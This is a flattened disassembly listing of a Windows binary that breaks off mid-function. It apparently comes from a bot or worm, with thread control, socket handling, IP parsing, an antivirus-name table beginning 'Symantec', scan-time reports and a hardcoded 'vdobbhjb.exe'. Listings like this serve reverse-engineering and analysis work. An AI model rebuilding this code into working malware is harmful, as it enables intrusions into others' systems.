pop esi leave retn sub_40B477 endp ; =============== S U B R O U T I N E ======================================= sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp ; sub_40B583+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B57D cmp esi, 400h jge short loc_40B57D imul esi, 234h push edi push ebx push dword_43E924[esi] lea edi, dword_43E924[esi] call ds:dword_4270B4 ; TerminateThread cmp [edi], ebx jz short loc_40B52D push 1 pop ebp loc_40B52D: ; CODE XREF: sub_40B4F5+33j mov [edi], ebx lea edi, dword_43E918[esi] mov dword_43E910[esi], ebx mov dword_43E914[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B54E push eax call sub_419F16 pop ecx loc_40B54E: ; CODE XREF: sub_40B4F5+50j mov [edi], ebx lea edi, dword_43E91C[esi] mov byte ptr dword_43E710[esi], bl mov byte_43E928[esi], bl push dword ptr [edi] call dword_4CBA6C ; closesocket lea esi, dword_43E920[esi] mov [edi], ebx push dword ptr [esi] call dword_4CBA6C ; closesocket mov [esi], ebx pop edi loc_40B57D: ; CODE XREF: sub_40B4F5+Dj ; sub_40B4F5+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B4F5 endp ; =============== S U B R O U T I N E ======================================= sub_40B583 proc near ; CODE XREF: sub_40111D+18p ; WinMain(x,x,x,x):loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E710 loc_40B58F: ; CODE XREF: sub_40B583+2Aj cmp byte ptr [esi], 0 jz short loc_40B5A0 push edi call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5A0 inc ebx loc_40B5A0: ; CODE XREF: sub_40B583+Fj ; sub_40B583+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB710 jl short loc_40B58F pop edi mov eax, ebx pop esi pop ebx retn sub_40B583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p ; sub_401ACD+4302p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E914 loc_40B5C9: ; CODE XREF: sub_40B5B5+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B5EB test edi, edi jle short loc_40B5DD cmp [esi], edi jz short loc_40B5DD cmp ebx, edi jnz short loc_40B5EB loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej ; sub_40B5B5+22j push ebx call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5EB inc [ebp+var_4] loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj ; sub_40B5B5+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB914 jl short loc_40B5C9 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B5B5 endp ; =============== S U B R O U T I N E ======================================= sub_40B602 proc near ; CODE XREF: WinMain(x,x,x,x)+40Fp ; sub_401ACD+95Ep ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E910 loc_40B609: ; CODE XREF: sub_40B602+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B612 inc eax loc_40B612: ; CODE XREF: sub_40B602+Dj add ecx, 234h cmp ecx, offset dword_4CB910 jl short loc_40B609 retn sub_40B602 endp ; =============== S U B R O U T I N E ======================================= sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E910 loc_40B62B: ; CODE XREF: sub_40B621+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B644 add ecx, 234h inc edx cmp ecx, offset dword_4CB910 jl short loc_40B62B pop esi retn ; --------------------------------------------------------------------------- loc_40B644: ; CODE XREF: sub_40B621+10j mov eax, edx pop esi retn sub_40B621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B648(int,int,int,int,int,int,int,char *Str) sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp ; sub_401ACD+125Bp ... Dest = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h Str = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+Str], eax jz short loc_40B661 push [ebp+Str] ; Str call _atoi pop ecx loc_40B661: ; CODE XREF: sub_40B648+Ej push eax push [ebp+arg_18] call sub_40B5B5 pop ecx test eax, eax pop ecx jle short loc_40B68D push eax lea eax, [ebp+Dest] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax ; Dest call _sprintf add esp, 14h jmp short loc_40B6A7 ; --------------------------------------------------------------------------- loc_40B68D: ; CODE XREF: sub_40B648+26j push [ebp+arg_14] lea eax, [ebp+Dest] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax ; Dest call _sprintf add esp, 10h loc_40B6A7: ; CODE XREF: sub_40B648+43j cmp [ebp+arg_C], 0 jnz short loc_40B6C7 push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_40B6C7: ; CODE XREF: sub_40B648+63j lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx leave retn sub_40B648 endp ; =============== S U B R O U T I N E ======================================= sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p ; sub_40B425+40p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E924[eax], ecx mov dword_43E910[eax], ecx mov dword_43E914[eax], ecx mov dword_43E918[eax], ecx mov dword_43E91C[eax], ecx mov dword_43E920[eax], ecx mov byte ptr dword_43E710[eax], cl mov byte_43E928[eax], cl retn sub_40B6D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp ; sub_40B841+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B71D: ; CODE XREF: sub_40B713+68j mov cl, [esi] test cl, cl jz short loc_40B77D cmp eax, 1 jnz short loc_40B77D mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B77D cmp cl, 2Ah jz short loc_40B764 cmp cl, 3Fh jz short loc_40B747 cmp cl, 5Bh jz short loc_40B74C xor eax, eax cmp cl, dl setz al loc_40B747: ; CODE XREF: sub_40B713+26j inc [ebp+arg_4] jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B74C: ; CODE XREF: sub_40B713+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B7A9 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B764: ; CODE XREF: sub_40B713+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B841 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B777: ; CODE XREF: sub_40B713+37j ; sub_40B713+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B71D ; --------------------------------------------------------------------------- loc_40B77D: ; CODE XREF: sub_40B713+Ej ; sub_40B713+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B78D cmp eax, 1 jnz short loc_40B7A4 inc esi mov [ebp+arg_0], esi jmp short loc_40B77D ; --------------------------------------------------------------------------- loc_40B78D: ; CODE XREF: sub_40B713+6Dj cmp eax, 1 jnz short loc_40B7A4 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B7A4 cmp byte ptr [esi], 0 jnz short loc_40B7A4 push 1 pop eax jmp short loc_40B7A6 ; --------------------------------------------------------------------------- loc_40B7A4: ; CODE XREF: sub_40B713+72j ; sub_40B713+7Dj ... xor eax, eax loc_40B7A6: ; CODE XREF: sub_40B713+8Fj pop esi pop ebp retn sub_40B713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B7CA inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B7CA: ; CODE XREF: sub_40B7A9+19j push ebx push esi loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B7DA cmp [ebp+var_4], eax jnz short loc_40B826 loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj test edi, edi jnz short loc_40B81B cmp bl, 2Dh jnz short loc_40B80F mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B80F cmp al, 5Dh jz short loc_40B80F cmp [ebp+var_4], edi jnz short loc_40B80F mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B81B cmp bl, al jg short loc_40B81B push 1 mov [edx], esi pop edi jmp short loc_40B81B ; --------------------------------------------------------------------------- loc_40B80F: ; CODE XREF: sub_40B7A9+38j ; sub_40B7A9+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B81B push 1 pop edi loc_40B81B: ; CODE XREF: sub_40B7A9+33j ; sub_40B7A9+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B7CC ; --------------------------------------------------------------------------- loc_40B826: ; CODE XREF: sub_40B7A9+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B833 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B833: ; CODE XREF: sub_40B7A9+82j cmp edi, eax jnz short loc_40B83C mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj mov eax, edi pop edi leave retn sub_40B7A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B841 proc near ; CODE XREF: sub_40B713+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B85D: ; CODE XREF: sub_40B841+3Aj cmp [eax], bl jz short loc_40B87D mov cl, [ecx] cmp cl, 3Fh jz short loc_40B872 cmp cl, 2Ah jnz short loc_40B87D cmp cl, 3Fh jnz short loc_40B875 loc_40B872: ; CODE XREF: sub_40B841+25j inc eax mov [edi], eax loc_40B875: ; CODE XREF: sub_40B841+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B85D ; --------------------------------------------------------------------------- loc_40B87D: ; CODE XREF: sub_40B841+1Ej ; sub_40B841+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B888 inc dword ptr [esi] jmp short loc_40B87D ; --------------------------------------------------------------------------- loc_40B888: ; CODE XREF: sub_40B841+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B8A9 mov edx, [esi] cmp [edx], bl jz short loc_40B89A xor eax, eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B89A: ; CODE XREF: sub_40B841+53j cmp cl, bl jnz short loc_40B8A9 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B8A9 push 1 pop eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B8A9: ; CODE XREF: sub_40B841+4Dj ; sub_40B841+5Bj ... push eax push dword ptr [esi] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_40B8F3 loc_40B8B7: ; CODE XREF: sub_40B841+B0j inc dword ptr [edi] mov eax, [edi] loc_40B8BB: ; CODE XREF: sub_40B841+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B8D3 cmp cl, 5Bh jz short loc_40B8D3 cmp dl, bl jz short loc_40B8D3 inc eax mov [edi], eax jmp short loc_40B8BB ; --------------------------------------------------------------------------- loc_40B8D3: ; CODE XREF: sub_40B841+82j ; sub_40B841+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B8EA push eax push dword ptr [esi] call sub_40B713 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B8EF ; --------------------------------------------------------------------------- loc_40B8EA: ; CODE XREF: sub_40B841+96j mov [ebp+var_4], ebx xor eax, eax loc_40B8EF: ; CODE XREF: sub_40B841+A7j cmp eax, ebx jnz short loc_40B8B7 loc_40B8F3: ; CODE XREF: sub_40B841+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B906 mov eax, [esi] cmp [eax], bl jnz short loc_40B906 mov [ebp+var_4], 1 loc_40B906: ; CODE XREF: sub_40B841+B6j ; sub_40B841+BCj mov eax, [ebp+var_4] loc_40B909: ; CODE XREF: sub_40B841+57j ; sub_40B841+66j pop edi pop esi pop ebx leave retn sub_40B841 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B90E(int,char *Str,int) sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p Source = byte ptr -400h Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+Dest] push offset asc_431B94 ; "-" push eax ; Dest xor ebx, ebx call _sprintf cmp dword_4317F8, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B980 push esi mov esi, offset dword_431800 loc_40B941: ; CODE XREF: sub_40B90E+6Fj mov eax, [esi] test eax, eax jbe short loc_40B976 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+Source] push offset asc_431B88 ; " " push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat add esp, 1Ch loc_40B976: ; CODE XREF: sub_40B90E+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B941 pop esi loc_40B980: ; CODE XREF: sub_40B90E+2Bj push dword_4CB714 call sub_41ADD8 pop ecx push eax push ebx lea eax, [ebp+Source] push offset aTotalDInS_ ; " Total: %d in %s." push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 lea eax, [ebp+Dest] push eax call sub_415D38 add esp, 34h pop edi pop ebx leave retn sub_40B90E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B9DD(int,char *Str,int) sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE4E0 mov ecx, dword_4CE4DC push esi push dword_4CB714 lea esi, [ecx+eax] call sub_41ADD8 pop ecx push eax push esi push dword_4CE4E0 lea eax, [ebp+Dest] push dword_4CE4DC push offset asc_431BB4 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 lea eax, [ebp+Dest] push eax call sub_415D38 add esp, 30h pop esi leave retn sub_40B9DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BA49(int,char *Str,int) sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+Dest] push dword_4CE718 push offset asc_431BFC ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 lea eax, [ebp+Dest] push eax call sub_415D38 add esp, 28h leave retn sub_40BA49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BA9E(int,char *Str,int) sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p Source = byte ptr -1000h Dest = byte ptr -800h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call __alloca_probe push edi lea eax, [ebp+Dest] push offset asc_431C48 ; "-" push eax ; Dest call _sprintf cmp dword_4317F8, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BB0A push esi mov esi, offset aSymantec ; "Symantec" loc_40BAD3: ; CODE XREF: sub_40BA9E+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+Source] push offset asc_431C38 ; " " push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BAD3 pop esi loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+Source] push offset aScanTimeS_ ; " Scan Time: %s." push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 lea eax, [ebp+Dest] push eax call sub_415D38 add esp, 30h pop edi leave retn sub_40BA9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB65 proc near ; DATA XREF: sub_401ACD+309Ao Dest = byte ptr -3F0h var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1DC = byte ptr -1DCh var_15C = byte ptr -15Ch var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_140 = dword ptr -140h var_13C = dword ptr -13Ch Format = byte ptr -134h Str = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3F0h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp+Format] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp+Format] push eax call dword_4CBA14 ; inet_addr xor edi, edi mov [ebp+var_8], eax cmp dword_4317F8, edi mov [ebp+var_4], edi mov [ebp+arg_0], edi jz loc_40BCC7 mov ebx, offset dword_4317F8 mov eax, ebx loc_40BBB6: ; CODE XREF: sub_40BB65+15Cj push [ebp+var_1C] push dword ptr [eax] push [ebp+var_8] call sub_40C34B add esp, 0Ch cmp eax, 1 jnz loc_40BCB7 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp+Format] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp+Dest] push offset asc_431C98 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_24] ; int call sub_409869 lea eax, [ebp+Dest] push eax call sub_415D38 add esp, 2Ch lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+var_1EC] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_15C] pop ecx push esi ; Format push eax ; Dest call _sprintf cmp [ebp+var_A4], 0 pop ecx pop ecx lea eax, [ebp+var_A4] jnz short loc_40BC52 lea eax, [ebp+Str] loc_40BC52: ; CODE XREF: sub_40BB65+E5j push eax ; Format lea eax, [ebp+var_1DC] push eax ; Dest call _sprintf mov eax, [ebp+var_24] pop ecx mov [ebp+var_1F0], eax mov eax, [ebp+var_14] mov [ebp+var_140], eax mov eax, [ebp+var_10] pop ecx mov [ebp+var_13C], eax mov eax, [ebx] sub esp, 0BCh mov [ebp+var_150], eax mov eax, [ebp+var_18] push 2Fh mov [ebp+var_14C], eax mov eax, [ebp+arg_0] pop ecx lea esi, [ebp+var_1F0] mov edi, esp mov [ebp+var_148], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc [ebp+var_4] xor edi, edi loc_40BCB7: ; CODE XREF: sub_40BB65+64j inc [ebp+arg_0] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BBB6 loc_40BCC7: ; CODE XREF: sub_40BB65+44j push [ebp+var_4] lea eax, [ebp+Format] push eax lea eax, [ebp+Dest] push offset asc_431C64 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_24] ; int call sub_409869 lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_18] call sub_40B6D6 add esp, 2Ch push edi call ds:dword_4270D4 ; ExitThread sub_40BB65 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BD1A(int,char *Str,int,int) sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B602 test eax, eax pop ecx jle short loc_40BD56 mov eax, [ebp+arg_C] push dword_4CBB20[eax*8] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_431CE8 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40BD69 ; --------------------------------------------------------------------------- loc_40BD56: ; CODE XREF: sub_40BD1A+13j lea eax, [ebp+Dest] push offset asc_431CC8 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 lea eax, [ebp+Dest] push eax call sub_415D38 add esp, 18h leave retn sub_40BD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BD91(int,int,int,int,char Format,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_40BD91 proc near ; CODE XREF: sub_40C600+4Fp var_210 = dword ptr -210h Source = byte ptr -204h var_4 = byte ptr -4 Format = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C263 shl eax, 6 xor ebx, ebx cmp dword_431804[eax], ebx jz loc_40C263 push 5 call sub_40B602 test eax, eax pop ecx jnz loc_40C018 mov eax, dword_429078 push edi mov esi, offset dword_4CDBDC push 104h push esi push ebx mov dword_4CDDEC, eax mov dword_4CDDE8, ebx call ds:dword_427078 ; GetModuleFileNameA mov edi, offset Str ; "vdobbhjb.exe" push 103h ; Count push edi ; Source push offset byte_4CDCE0 ; Dest call _strncpy mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDBD8, eax mov eax, [ebp+arg_138] push 7Fh ; Count mov dword_4CDE70, eax jnz short loc_40BE44 lea eax, [ebp+Format] push eax ; Source push offset byte_4CDDF0 ; Dest call _strncpy add esp, 0Ch mov dword_4CDE74, 1 jmp short loc_40BE5E ; --------------------------------------------------------------------------- loc_40BE44: ; CODE XREF: sub_40BD91+94j lea eax, [ebp+arg_90] push eax ; Source push offset byte_4CDDF0 ; Dest call _strncpy add esp, 0Ch mov dword_4CDE74, ebx loc_40BE5E: ; CODE XREF: sub_40BD91+B1j push esi lea eax, [ebp+Source] push dword_4CDDEC push offset asc_42C204 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 5 ; int push eax ; Source call sub_40B3BA add esp, 1Ch mov dword_4CDDE4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDBD8 push offset sub_412197 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, dword_4CDDE4 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BECC loc_40BEBA: ; CODE XREF: sub_40BD91+139j cmp dword_4CDE78, ebx jnz short loc_40BEE7 push 32h call ds:dword_427080 ; Sleep jmp short loc_40BEBA ; --------------------------------------------------------------------------- loc_40BECC: ; CODE XREF: sub_40BD91+127j call ds:dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_431E08 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj lea eax, [ebp+Source] push eax call sub_415D38 mov eax, dword_4CB710 mov esi, offset dword_4CDE84 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CE094, eax mov dword_4CE090, ebx call ds:dword_427078 ; GetModuleFileNameA push 103h ; Count push edi ; Source push offset byte_4CDF88 ; Dest call _strncpy mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDE80, eax mov eax, [ebp+arg_138] pop edi mov dword_4CE118, eax push 7Fh ; Count jnz short loc_40BF68 lea eax, [ebp+Format] push eax ; Source push offset byte_4CE098 ; Dest call _strncpy add esp, 0Ch mov dword_4CE11C, 1 jmp short loc_40BF82 ; --------------------------------------------------------------------------- loc_40BF68: ; CODE XREF: sub_40BD91+1B8j lea eax, [ebp+arg_90] push eax ; Source push offset byte_4CE098 ; Dest call _strncpy add esp, 0Ch mov dword_4CE11C, ebx loc_40BF82: ; CODE XREF: sub_40BD91+1D5j push esi lea eax, [ebp+Source] push dword_4CE094 push offset asc_431DD4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 4 ; int push eax ; Source call sub_40B3BA add esp, 1Ch mov dword_4CE08C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDE80 push offset sub_40F3AA push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, dword_4CE08C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BFF0 loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj cmp dword_4CE120, ebx jnz short loc_40C00B push 32h call ds:dword_427080 ; Sleep jmp short loc_40BFDE ; --------------------------------------------------------------------------- loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj call ds:dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_431DA0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40C00B: ; CODE XREF: sub_40BD91+253j lea eax, [ebp+Source] push eax call sub_415D38 pop ecx loc_40C018: ; CODE XREF: sub_40BD91+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43180C[ecx], ebx jz loc_40C141 push 7 call sub_40B602 test eax, eax pop ecx jnz loc_40C13B mov eax, dword_4CE710 cmp [ebp+arg_90], bl mov dword_4CDB44, eax mov eax, [ebp+arg_110] mov dword_4CDB38, eax mov eax, [ebp+arg_138] mov dword_4CDB40, ebx mov dword_4CDBC8, eax push 7Fh ; Count jnz short loc_40C08C lea eax, [ebp+Format] push eax ; Source push offset byte_4CDB48 ; Dest call _strncpy add esp, 0Ch mov dword_4CDBCC, 1 jmp short loc_40C0A6 ; --------------------------------------------------------------------------- loc_40C08C: ; CODE XREF: sub_40BD91+2DCj lea eax, [ebp+arg_90] push eax ; Source push offset byte_4CDB48 ; Dest call _strncpy add esp, 0Ch mov dword_4CDBCC, ebx loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j push dword_4CDB44 lea eax, [ebp+Source] push offset asc_431D70 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 7 ; int push eax ; Source call sub_40B3BA add esp, 18h mov dword_4CDB3C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDB38 push offset sub_40F108 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, dword_4CDB3C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C113 loc_40C101: ; CODE XREF: sub_40BD91+380j cmp dword_4CDBD0, ebx jnz short loc_40C12E push 32h call ds:dword_427080 ; Sleep jmp short loc_40C101 ; --------------------------------------------------------------------------- loc_40C113: ; CODE XREF: sub_40BD91+36Ej call ds:dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_431D38 ; "-" push eax ; Dest 